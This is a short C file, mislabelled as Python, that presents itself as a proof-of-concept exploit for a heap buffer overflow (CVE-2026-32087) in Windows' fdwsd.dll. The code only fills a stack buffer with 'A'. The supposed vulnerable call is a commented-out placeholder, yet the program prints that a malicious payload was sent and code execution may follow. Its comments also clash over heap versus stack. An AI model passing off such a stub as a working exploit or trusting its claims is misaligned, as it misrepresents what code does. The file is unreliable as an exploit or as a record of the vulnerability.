The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-32087
// This code demonstrates the buffer overflow condition in fdwsd.dll
// Note: This is for educational purposes only. Do not run on unauthorized systems.
void TriggerOverflow() {
HANDLE hDevice;
char evilBuffer[5000];
DWORD bytesReturned;
// Fill the buffer with 'A' to trigger the overflow
memset(evilBuffer, 'A', sizeof(evilBuffer));
// Attempt to interact with the Function Discovery Service
// The specific API call or IOCTL would go here
printf("[+] Sending malicious payload to target service...\n");
// Hypothetical vulnerable function call
// VulnerableFunction(evilBuffer, sizeof(evilBuffer));
printf("[+] Payload sent. If exploit is successful, code execution may occur.\n");
}
int main() {
printf("CVE-2026-32087 PoC - Heap Buffer Overflow in fdwsd.dll\n");
TriggerOverflow();
return 0;
}